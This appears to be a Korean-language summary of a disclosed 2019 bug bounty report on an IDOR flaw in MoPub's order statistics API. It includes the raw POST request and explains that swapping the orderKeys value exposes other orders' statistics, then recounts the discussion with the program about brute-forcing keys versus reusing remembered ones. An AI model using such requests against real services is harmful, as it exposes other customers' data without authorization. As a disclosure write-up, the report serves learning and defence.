hackerone-twitter-2019-04-m-544329

IDOR and statistics leakage in Orders

보고서

https://app.mopub.com/web-client/api/orders/stats/query 에 IDOR가 있었다.

POST /web-client/api/orders/stats/query HTTP/1.1
Host: app.mopub.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.mopub.com/orders
Content-Type: application/json
x-csrftoken: {TOKEN}
Content-Length: 98
Connection: close
Cookie: csrftoken={TOKEN}; sessionid={SID}; mp_mixpanel__c=1;


{"startTime":"2019-04-07","endTime":"2019-04-20","orderKeys":["43b29d60a9724fa9abbdc800044002d6"]}

이와 같은 페이로드를 날리는 URL이다. orderKeys를 변경하면 임의의 주문에 대한 통계를 얻을 수 있었다.

프로그램측은 orderKeys의 엔트로피가 높기 때문에 bruteforce로 추측하기 어렵다고 했다. 임의의 통계에 어떻게 접근할거냐 질문했다.

이에대해 1. 공격자가 해당 팀이었다가 더이상 아니게 된 경우, ID를 기억해두고 이를 이용하는 시나리오가 있다. Bruteforce하여 찾는 시나리오가 아닐수 있다. 2. bruteforce 한다. 이는 추측하기가 거의 불가능한 게 맞다. 라고 응답했다.

프로그램 측은 1번 시나리오일 때 실제로 공격자가 최신 데이터에 접근할 수 있냐고 물었다. 하지만 이를 실험하기 위해서는 실제적인 데이터를 만들고 여러 계정을 만들어야 했다. 제보자는 반드시 PoC가 필요하다면 새 계정을 가입하여 테스트해보겠지만 현재 계정과 데이터가 없어 어렵다고 했다. 프로그램측은 실질적으로 테스트하려면 비용이 발생할 것이므로 더이상의 PoC를 요청하지는 않았다.


tags: bughunting, wstg-athz-04, idor, web hacking, severity medium